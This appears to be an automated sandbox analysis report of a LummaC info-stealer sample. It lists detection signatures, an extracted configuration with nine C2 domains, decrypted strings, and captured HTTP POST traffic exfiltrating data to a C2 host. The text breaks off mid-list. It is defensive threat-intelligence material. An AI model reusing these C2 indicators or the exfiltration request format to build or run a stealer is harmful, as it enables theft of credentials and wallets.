Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1435737
MD5:	16f894f264d824eb23ebeb77bd860de2
SHA1:	31b1dc2a8e6953adfabe45d481588fbabbfd040c
SHA256:	eadc77f7e8f3fe9dedec2de227dfa7bc5a44a8888b0df72cc113f2f49ec6674b
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Yara detected LummaC Stealer

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6944 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 16F894F264D824EB23EBEB77BD860DE2)

BitLockerToGo.exe (PID: 1612 cmdline: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["boredimperissvieos.shop", "holicisticscrarws.shop", "sweetsquarediaslw.shop", "plaintediousidowsko.shop", "miniaturefinerninewjs.shop", "zippyfinickysofwps.shop", "obsceneclassyjuwks.shop", "acceptabledcooeprs.shop", "stiffraspyofkwsl.shop"], "Build id": "Q3kDS2--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: BitLockerToGo.exe PID: 1612	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 1612	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 1612	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.file.exe.c0000a8000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["boredimperissvieos.shop", "holicisticscrarws.shop", "sweetsquarediaslw.shop", "plaintediousidowsko.shop", "miniaturefinerninewjs.shop", "zippyfinickysofwps.shop", "obsceneclassyjuwks.shop", "acceptabledcooeprs.shop", "stiffraspyofkwsl.shop"], "Build id": "Q3kDS2--"}

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: boredimperissvieos.shop
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: holicisticscrarws.shop
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sweetsquarediaslw.shop
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: plaintediousidowsko.shop
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: miniaturefinerninewjs.shop
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: zippyfinickysofwps.shop
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: obsceneclassyjuwks.shop
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: acceptabledcooeprs.shop
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stiffraspyofkwsl.shop
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: boredimperissvieos.shop
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: holicisticscrarws.shop
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sweetsquarediaslw.shop
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: plaintediousidowsko.shop
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: miniaturefinerninewjs.shop
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: zippyfinickysofwps.shop
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: obsceneclassyjuwks.shop
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: acceptabledcooeprs.shop
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stiffraspyofkwsl.shop
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Q3kDS2--

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00356682 CryptUnprotectData,

2_2_00356682

Source: unknown	HTTPS traffic detected: 172.67.189.159:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.159:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.159:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.159:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.159:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.159:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.159:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.159:443 -> 192.168.2.4:49742 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: file.exe, 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1880889294.000000C00018E000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1869726935.0000019546C70000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: file.exe, 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1880889294.000000C00018E000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1869726935.0000019546C70000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\3D Objects	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	2_2_00364478
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	2_2_00364478
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], CCC8066Ah	2_2_0037C461
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 5C3924FCh	2_2_0037C615
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	2_2_0037E8D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_00366948
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+20h]	2_2_003679F5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000090h]	2_2_00353038
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_00367059
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_003750A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_0037E09F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea eax, dword ptr [edi+04h]	2_2_0036213D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+04h]	2_2_0036213D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, word ptr [esi]	2_2_0037D265
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	2_2_0035D35E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp edx	2_2_0035D35E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_0037C436
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+20h]	2_2_00368410
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esi+20h], 00000000h	2_2_00351419
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then inc ebx	2_2_00355470
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_0037D48A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_0037D4E8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], CCC8066Ah	2_2_0037C571
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+0Ch]	2_2_0037C571
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+20h]	2_2_00356555
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	2_2_0034D650
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	2_2_00342650
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edi, dword ptr [esi+04h]	2_2_003626BD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edi, dword ptr [esi+04h]	2_2_00362760
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	2_2_003497F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_003658B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	2_2_0037A930
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esi+7Ch], ecx	2_2_00366953
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [00387EE8h]	2_2_00364982
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+ecx*8], FB49C974h	2_2_00379A20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, cx	2_2_00368A13
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00357ABA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	2_2_0037EAF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_0035DB00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 9EDBE8FEh	2_2_0035DB00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000090h]	2_2_00354D32
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, eax	2_2_0035DDC7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [ecx], 00000000h	2_2_00351E13
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, dword ptr [esp+0Ch]	2_2_0034FE47
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp edx	2_2_0037DEB1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp edx	2_2_0037DE9C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, eax	2_2_0035DF3A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, ch	2_2_0037DFE0

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: boredimperissvieos.shop
Source: Malware configuration extractor	URLs: holicisticscrarws.shop
Source: Malware configuration extractor	URLs: sweetsquarediaslw.shop
Source: Malware configuration extractor	URLs: plaintediousidowsko.shop
Source: Malware configuration extractor	URLs: miniaturefinerninewjs.shop
Source: Malware configuration extractor	URLs: zippyfinickysofwps.shop
Source: Malware configuration extractor	URLs: obsceneclassyjuwks.shop
Source: Malware configuration extractor	URLs: acceptabledcooeprs.shop
Source: Malware configuration extractor	URLs: stiffraspyofkwsl.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: stiffraspyofkwsl.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: stiffraspyofkwsl.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: stiffraspyofkwsl.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: stiffraspyofkwsl.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: stiffraspyofkwsl.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5435Host: stiffraspyofkwsl.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1398Host: stiffraspyofkwsl.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 572505Host: stiffraspyofkwsl.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: stiffraspyofkwsl.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: stiffraspyofkwsl.shop

Source: BitLockerToGo.exe, 00000002.00000003.1925524590.0000000004B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BitLockerToGo.exe, 00000002.00000003.1925524590.0000000004B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: BitLockerToGo.exe, 00000002.00000003.1925524590.0000000004B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: BitLockerToGo.exe, 00000002.00000003.1925524590.0000000004B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BitLockerToGo.exe, 00000002.00000003.1925524590.0000000004B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: BitLockerToGo.exe, 00000002.00000003.1925524590.0000000004B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: BitLockerToGo.exe, 00000002.00000003.1925524590.0000000004B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: BitLockerToGo.exe, 00000002.00000003.1925524590.0000000004B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: BitLockerToGo.exe, 00000002.00000003.1925524590.0000000004B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: BitLockerToGo.exe, 00000002.00000003.1925524590.0000000004B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BitLockerToGo.exe, 00000002.00000003.1925524590.0000000004B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BitLockerToGo.exe, 00000002.00000003.1896028998.0000000004B11000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896402300.0000000000931000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896084299.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: BitLockerToGo.exe, 00000002.00000003.1926572167.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: BitLockerToGo.exe, 00000002.00000003.1934728135.00000000008EB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1934142380.00000000008EB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1933568579.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: BitLockerToGo.exe, 00000002.00000003.1896028998.0000000004B11000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896402300.0000000000931000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896084299.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BitLockerToGo.exe, 00000002.00000003.1896028998.0000000004B11000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896402300.0000000000931000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896084299.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 00000002.00000003.1896028998.0000000004B11000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896402300.0000000000931000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896084299.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BitLockerToGo.exe, 00000002.00000003.1926572167.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: BitLockerToGo.exe, 00000002.00000003.1934728135.00000000008EB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1934142380.00000000008EB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1933568579.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: BitLockerToGo.exe, 00000002.00000003.1896028998.0000000004B11000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896084299.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000002.00000003.1896028998.0000000004B11000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896084299.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000002.00000003.1896028998.0000000004B11000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896084299.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BitLockerToGo.exe, 00000002.00000003.1934728135.00000000008EB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1934142380.00000000008EB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1933568579.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=
Source: BitLockerToGo.exe, 00000002.00000003.1926572167.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: BitLockerToGo.exe, 00000002.00000003.1887999483.00000000008A4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1924754245.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1895445665.000000000086C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1933568579.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1942683777.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1942883574.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1895540064.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1926572167.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1915133981.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1915065369.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2006236962.0000000000848000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2005760957.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2006403113.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 